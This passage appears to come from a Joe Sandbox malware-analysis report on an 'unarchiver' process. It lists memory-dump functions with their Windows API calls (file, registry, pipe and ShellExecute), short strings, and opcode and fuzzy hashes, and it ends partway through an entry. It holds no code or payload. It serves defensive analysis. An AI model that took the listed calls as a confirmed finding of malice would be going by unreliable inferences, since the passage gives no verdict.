Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6373d715a213bd7ec71ddd58fdf6d8636f67dcdceb326817b408f59d56593c2d
Instruction ID: d64893174052bb18e7b8b9aedb051d11bc2624c6e3da7dab90128e52c6153414
Opcode Fuzzy Hash: 6373d715a213bd7ec71ddd58fdf6d8636f67dcdceb326817b408f59d56593c2d
Instruction Fuzzy Hash: 8721A171504604AFE721DF25DD89F66FBE8EF48224F08846DEA458B651D375E408CF71

Function 0132A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A815

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 3dc36d50e92eb71fc0febb41048263634e8db2deeb991c67c7a0490a267a2cd8
Instruction ID: 538dd1831568c9e227bc3aba672bef79b61519367063ec247caed037d03170e7
Opcode Fuzzy Hash: 3dc36d50e92eb71fc0febb41048263634e8db2deeb991c67c7a0490a267a2cd8
Instruction Fuzzy Hash: 3821D8B54087806FE7128B25DC45BA2BFA8EF47714F0880DAF9858B153D278A909CB75

Function 0132AA0B Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0132AA8B

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: ededed816b5bd02dd8102d3735a627552e89b39a47642209f39a97d6014d788a
Instruction ID: 149b1310ac2790d4ab001d5a55e52a8524fa7d83d51ae30161458ce660be0a0b
Opcode Fuzzy Hash: ededed816b5bd02dd8102d3735a627552e89b39a47642209f39a97d6014d788a
Instruction Fuzzy Hash: 942180715093C05FEB12CB29DC55B92BFE8AF06314F0D84EAE984CF593D225D949CB61

Function 0132A392 Relevance: 1.6, APIs: 1, Instructions: 69
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A40C

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 59bedaf125ff21289f4110626a350da1b7003105dedd43a28076d80d5bf227af
Instruction ID: ed7a48735f81f9a2987f9a930271a6ebd5f93ad30c8fcc1fe0a50c004131faa9
Opcode Fuzzy Hash: 59bedaf125ff21289f4110626a350da1b7003105dedd43a28076d80d5bf227af
Instruction Fuzzy Hash: 6E21D2712006049FE720DF25DD89F66FBECEF04624F04845AEA46DBA51D374E809CAB1

Function 0132A6D4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0132A748

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: db72636c2e0b5a23a2c08ee69d466ff9f30ebe7fa74be1c0a502e2c4a42991e2
Instruction ID: d9ae5e0db9e609331a08b2b3c8a987b34cfd8f734c577240a778308fb9441e0d
Opcode Fuzzy Hash: db72636c2e0b5a23a2c08ee69d466ff9f30ebe7fa74be1c0a502e2c4a42991e2
Instruction Fuzzy Hash: 782192B55097C09FD7128B29DC55792BFB4AF07324F0984DBEC858F5A3D2649908C771

Function 0132A962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A9C1

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d1c71298f444496a40576c5c4edb2711a512bccaa1b7d8fb6bf4b4ab12197c85
Instruction ID: f806c0d283db44e1a6082784d209cb6f98bafc042b2d72f8c3399ea0836d3418
Opcode Fuzzy Hash: d1c71298f444496a40576c5c4edb2711a512bccaa1b7d8fb6bf4b4ab12197c85
Instruction Fuzzy Hash: 10110171500204AFEB21DF25DD45FAAFBE8EF04728F04845AFA458BA51C378A448CBB1

Function 0132B64C Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0132B6A8

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 989764bac3ec384bdbb0a4bed86add724503f3e4a79758ad249ef3fc718bdaa5
Instruction ID: a282d029b9a0bc1f33da05c788dd28bd5566ca6aceb1d81ec9ce2fac099a3db3
Opcode Fuzzy Hash: 989764bac3ec384bdbb0a4bed86add724503f3e4a79758ad249ef3fc718bdaa5
Instruction Fuzzy Hash: FC1160715097809FD712CF29DC94B52FFE8DF06224F0984EAED45CF292D265E948CB62

Function 0132A882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A8DE

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e44cf40c9574c3d63f0c527292efb6db6470561131cc4de3b4d21e509b83c3cc
Instruction ID: 9607278e0449b2d2556deccbd3712d65754b79081604f8863631a972e1c8792f
Opcode Fuzzy Hash: e44cf40c9574c3d63f0c527292efb6db6470561131cc4de3b4d21e509b83c3cc
Instruction Fuzzy Hash: 24110171500204AFEB21DF25DD45F66FBE8EF44728F04845AEA459BA41C374A4088BB1

Function 0132A2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0132A30C

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 0c169c6a571052947f19297509cd8e1416cd52b42793b3b57e8401e2a6019c6d
Instruction ID: 351baa8e69003ebdaa6944652e78e41c1d006364a1c09ebb4d9f20f5de59e80f
Opcode Fuzzy Hash: 0c169c6a571052947f19297509cd8e1416cd52b42793b3b57e8401e2a6019c6d
Instruction Fuzzy Hash: D91191754097C09FD7228B25DC54A52BFB4DF07224F0980DBD9858F663D265A808CB62

Function 0132B1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0132B208

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: eb1a9f19565ae25c8366e5a6c5bebd5f2383d43c6e5852124116f02d5cf65533
Instruction ID: 89cec09048385e94619cc9c20e5f533d6e31aa2a05a86c59871899a978eb10e7
Opcode Fuzzy Hash: eb1a9f19565ae25c8366e5a6c5bebd5f2383d43c6e5852124116f02d5cf65533
Instruction Fuzzy Hash: 0A11A0714093809FDB12CF15DC44B56FFA4DF06221F0984EAED848F253D275A908CB72

Function 0132AF8B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0132AFE4

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 2596ea9097a36a4b458a6eb0a90d86147253dc3f1f16ba73f925f67afb4b5b3e
Instruction ID: affef01fba7493ab81a792b895b9240cdfd62076a68762076d35431f8a52fb72
Opcode Fuzzy Hash: 2596ea9097a36a4b458a6eb0a90d86147253dc3f1f16ba73f925f67afb4b5b3e
Instruction Fuzzy Hash: F0115E755097809FD7128B29DC45A52FFF4EF06220F0984DAE9858B2A3D269A848DB61

Function 0132A7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A815

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 93709bcca66c77540d7997192a96612a3fcae916eed548c865bba01fc2c6b547
Instruction ID: a7c08091d65794f97e391163119cbf6cb3f3c7a097df6a687b752f69dcdeabcb
Opcode Fuzzy Hash: 93709bcca66c77540d7997192a96612a3fcae916eed548c865bba01fc2c6b547
Instruction Fuzzy Hash: 3701D671504204AFE720DF15DD49FA6FFDCDF44629F14C05AFE058B641D3B8A4098AB5

Function 0132AA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0132AA8B

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 2ebb707d0f3cdb7dfa735101f1adbec9cfdb94d380e040caac8d908856f7485f
Instruction ID: bfb60bd2432f84c94765e1bd53aa653d7fc5dc1631e8a8468a19926ba792ab67
Opcode Fuzzy Hash: 2ebb707d0f3cdb7dfa735101f1adbec9cfdb94d380e040caac8d908856f7485f
Instruction Fuzzy Hash: C111A1716042449FFB10DF29D985B66FBD8EF04225F08C4AAED09CBA42E374E404CB61

Function 0132A172 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0132A1C2

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 8469f47dc060bfb38d9bd6e5ffbceb98a23adce4d1f33c856d14d1f41a6f490f
Instruction ID: a02fdf085cc332685b8606714c5f7704212281e3adfbb99f7a0809ac7aaf5ccd
Opcode Fuzzy Hash: 8469f47dc060bfb38d9bd6e5ffbceb98a23adce4d1f33c856d14d1f41a6f490f
Instruction Fuzzy Hash: F8017C71900200AFD310DF26DD86B66FBE8EB88A20F14856AED089B741D735FA15CBE5

Function 0132ABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0132AC36

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 930da1f98418e81d996d02047d2c27efa34a13819b7f3a9b34963550e1372211
Instruction ID: 43b48e28b9032952868720f0b21e7cb565561e57e2fa7ed30456aa7e23b029e3
Opcode Fuzzy Hash: 930da1f98418e81d996d02047d2c27efa34a13819b7f3a9b34963550e1372211
Instruction Fuzzy Hash: 8A01BC71900200AFD310DF26CD86B26FBE8FB88A20F14812AED089B741D735FA15CBE1

Function 0132B66E Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0132B6A8

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 0b95a6218a59012e2d8eb3bfa6e933e96d555ca0ec6087b2c1dc2c710b09b4fc
Instruction ID: 1e8682296e3afbc51e5bfc924e9114c52081425198f6301f7e5ae97bb6c19b43
Opcode Fuzzy Hash: 0b95a6218a59012e2d8eb3bfa6e933e96d555ca0ec6087b2c1dc2c710b09b4fc
Instruction Fuzzy Hash: 6A01F1316042048FEB20DF29D989B62FBD8EF00234F08C4AADD09CF656D374E408CBA1

Function 0132A716 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0132A748

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 954c88c053ebcf7e312be155ff86b1a1125d52097cd3a209a49f401aada7ee59
Instruction ID: c4b1db020f6d1ac58ed65d1e383b85310e40cbdc782f59cd599b9c14e40b85f9
Opcode Fuzzy Hash: 954c88c053ebcf7e312be155ff86b1a1125d52097cd3a209a49f401aada7ee59
Instruction Fuzzy Hash: 0601F2719042408FDB10DF69D985766FBE8EF00225F08C4AADC4A8FB52D278E448CBA1

Function 0132AFB2 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0132AFE4

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: f77687b8d80c45eb133b2df1dd955198665fa5edf966d9ffe05e38f3855ce1e5
Instruction ID: 5f9616613cae86e0186d11a9f482b1c8b3f87603bfe0f93ecdc9577fa9e05663
Opcode Fuzzy Hash: f77687b8d80c45eb133b2df1dd955198665fa5edf966d9ffe05e38f3855ce1e5
Instruction Fuzzy Hash: 2D0144706046049FDB119F19DC85B62FBD4EF00225F08C0AADC058BB92E378E848CEA2

Function 0132A2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0132A30C

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: fe2748b380377bc7bd001a696949e090cadd326bee9825bba5ebc0f282a18370
Instruction ID: 4576744f6401b9c37788c4a72923e02565d1195e17d8959d1c2b26f916dfe795
Opcode Fuzzy Hash: fe2748b380377bc7bd001a696949e090cadd326bee9825bba5ebc0f282a18370
Instruction Fuzzy Hash: D2F0C234508654CFDB20EF19D989761FFE4EF04625F08C09ADE494FB52D3B9A458CEA2

Function 01440799 Relevance: 1.5, Strings: 1, Instructions: 284COMMON

Download Yara Rule

Strings

\Oj, xrefs: 01440966

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID: \Oj
API String ID: 0-2889815623
Opcode ID: a5c2f3a7bd3d30438a10b29b66b39d3048ff0702842012065df6369f151e41c9
Instruction ID: 5d4c63bed32826ab39016c1d00fb0d56a6b461105c748cf6f36d5b10a34991a8
Opcode Fuzzy Hash: a5c2f3a7bd3d30438a10b29b66b39d3048ff0702842012065df6369f151e41c9
Instruction Fuzzy Hash: 91A16D30B04200CFEB14AFB4C55976EB7A6FBD8309F158069EA06AB395DF7C9C528B51

Function 01440C99 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

e]@j^, xrefs: 01440D6E, 01440D73

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID: e]@j^
API String ID: 0-1146456602
Opcode ID: a3ebcc2165ad6687a41d8ce6e7b74262b4ec9445d27da8bb679c65e749b5bdfb
Instruction ID: a5481778e92cdbfe2976ae976159008e02b71dac27f6240906fee76718052463
Opcode Fuzzy Hash: a3ebcc2165ad6687a41d8ce6e7b74262b4ec9445d27da8bb679c65e749b5bdfb
Instruction Fuzzy Hash: 252126707042408FCB11EB39884466FBBD6AFC6208B56843DD586DB392DF7AED028791

Function 01440CA8 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

e]@j^, xrefs: 01440D6E, 01440D73

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID: e]@j^
API String ID: 0-1146456602
Opcode ID: 6bbcd363d63e3cd93d24027dbb16b043609fb4230240a371f7c34100204256e3
Instruction ID: cd604a6fbbae51f99a9870849889bdf553ba3f26b72c388497bddfc801e00071
Opcode Fuzzy Hash: 6bbcd363d63e3cd93d24027dbb16b043609fb4230240a371f7c34100204256e3
Instruction Fuzzy Hash: 302105707003108BCB14EB3A994466FBAD7AFC5208B86883DD186DB391DF79ED0687D5

Function 01440FAB Relevance: 1.1, Instructions: 1142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b64b480cb8b80faf4aab519e431867488a33130238289b3aeb8cdaf0a53f5620
Instruction ID: 02f2aac537a7775517c7a63422b7adcb87e1c45140f639ada716341d20c30114
Opcode Fuzzy Hash: b64b480cb8b80faf4aab519e431867488a33130238289b3aeb8cdaf0a53f5620
Instruction Fuzzy Hash: 6441C330700205CFEB15ABB4C5A876E73A2AFC1748F528479D2169F392DF39EC518792

Function 014402C0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ea1248a525a903a16190f64382d9026643fd03a288dc452c91e5877c83f75b4
Instruction ID: 2fb191683a9bac92f47dd5f173880bdd9e49dfcceecd4e6931e7f499d267915b
Opcode Fuzzy Hash: 5ea1248a525a903a16190f64382d9026643fd03a288dc452c91e5877c83f75b4
Instruction Fuzzy Hash: ECB13A34601210DFE714EF64E958A5A7BB6FF88354B518079EA07AB396DF3C9C01CBA1

Function 01440E40 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf55abcf9b1b043b3bccc7c626dcd142e18e4e0156018410ae3c800c3e7aa3a
Instruction ID: a93ae634bcc585ee3d3e10039dd4a632dc987b0ab1c7124370b53774f8e08731
Opcode Fuzzy Hash: ccf55abcf9b1b043b3bccc7c626dcd142e18e4e0156018410ae3c800c3e7aa3a
Instruction Fuzzy Hash: 2E3122307042018FDB15EB7988546AFBAD6AFD5208B56843DE142DB392DF7DEC128B92

Function 01440E50 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9454ae7d8ada0610f1dcdfb42564a01e7e4bd68b9a3e01050acfeccbfc33f462
Instruction ID: 0e3caec83b04b107b02983e5e243ad847b6e4266b719d287fee8502bb1ca7d50
Opcode Fuzzy Hash: 9454ae7d8ada0610f1dcdfb42564a01e7e4bd68b9a3e01050acfeccbfc33f462
Instruction Fuzzy Hash: CA31ED307002018BDB08EB39989466E7AE7AFD1208B56443CE642EB381EF7CDD028B91

Function 014607A4 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979552234.0000000001460000.00000040.00000020.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1460000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec23179d28b682df18407e384aa353c0244cad6f9111ab509f38addd728e8bb
Instruction ID: 5017ce905cfb8c806ee89a5bb53d0b233a4f87b9fc839f9ed7917f65c139fa5f
Opcode Fuzzy Hash: cec23179d28b682df18407e384aa353c0244cad6f9111ab509f38addd728e8bb
Instruction Fuzzy Hash: 782192B6409604AFD300DF19ED45C67FBECEF85521B04C86AFD4987601E276A9158BF2

Function 01440BA0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01cbd65f543ea79f3d56365aaf6e16131336b96ed6bee08e7064ccb83d5db3f1
Instruction ID: a0294a7c589ff35f959a863e5cada21d6939670fea5d63fb398c935acb07ba00
Opcode Fuzzy Hash: 01cbd65f543ea79f3d56365aaf6e16131336b96ed6bee08e7064ccb83d5db3f1
Instruction Fuzzy Hash: 94114F35A10218AF8F049BB8D8489DE7BF6EF8C214B064479E606EB275DF359C158BA0

Function 01460808 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979552234.0000000001460000.00000040.00000020.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1460000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36c1cbd792ca3bdb65f42f2e42e1328015480e28044f7bf7aaf205607ef56ae
Instruction ID: 079123ce8c1be925f3d9b5a79389caf568799138f6231a018d0aa3181775dab0
Opcode Fuzzy Hash: d36c1cbd792ca3bdb65f42f2e42e1328015480e28044f7bf7aaf205607ef56ae
Instruction Fuzzy Hash: 8B0184B6409744AFD300CF15ED41D67FBF8EF86625F08C46AEC489B202D265B9148BB2

Function 014605E0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979552234.0000000001460000.00000040.00000020.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1460000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd2d13f534b521ca3862e350a2d98172ae245ff5b335bd7352b83b5080882405
Instruction ID: 973a76c3165735102a8798b0d8c5ded9f21c53f95ccee327fbe6d79a0abf5abd
Opcode Fuzzy Hash: cd2d13f534b521ca3862e350a2d98172ae245ff5b335bd7352b83b5080882405
Instruction Fuzzy Hash: F401867650D7806FD7118F159D45863FFE8DE86620709C49FEC498B652D229A908CB72

Function 0146082E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979552234.0000000001460000.00000040.00000020.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1460000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c542308ae33ed6512471f72c50ec488cabe3521f356c514df91f67596b97b5b
Instruction ID: 4f69e9f1da06c7d8d4d4200deb4fe66cbbef38c7f0dba169b5f76e694f586611
Opcode Fuzzy Hash: 9c542308ae33ed6512471f72c50ec488cabe3521f356c514df91f67596b97b5b
Instruction Fuzzy Hash: 8FF0A7B6805604AFD240DF19ED46866F7ECEF84521F14C53EEC098B700E276B9154BF2

Function 01460606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979552234.0000000001460000.00000040.00000020.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1460000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38c55ff3bd933f001e2048d0034e626ae9d893db2f363c45b102ea298cdfcfea
Instruction ID: 486b3c2cbe687c5825c5ab077ad9def9721215f742acfdae4547c8606131fba2
Opcode Fuzzy Hash: 38c55ff3bd933f001e2048d0034e626ae9d893db2f363c45b102ea298cdfcfea
Instruction Fuzzy Hash: 3AE092B6A046008BD650CF0AED41462F7D8EB84631718C07FDC0D8B701E639B504CBA5

Function 01440C50 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fad3677ad76450e133f071cdf42aa383c45b8f992c0d7252e2701051afdb73d4
Instruction ID: 4598baaa7e81fd42f2ee454ccce085849a3d13a2bc758621a5270ab118777ac6
Opcode Fuzzy Hash: fad3677ad76450e133f071cdf42aa383c45b8f992c0d7252e2701051afdb73d4
Instruction Fuzzy Hash: CCE0DF71F242541FCB44DBB888401DEBFE1EB85114B9284BAD009C7342EE35C90287A0

Function 01440C60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a0f991daa27a39d088c7eb34e88bf23a340285dd0d8e46a5c2687d4bb36b81
Instruction ID: e21e8fcca2b526c2988e23f4afe186ecaae52bf8dcd1eaebe3bb646ab4d6ba91
Opcode Fuzzy Hash: 55a0f991daa27a39d088c7eb34e88bf23a340285dd0d8e46a5c2687d4bb36b81
Instruction Fuzzy Hash: CAD0C772F102182B8B48EBB888441AEBBEAEBC0068B828079D008D3301EE31984183A0

Function 01440DD1 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
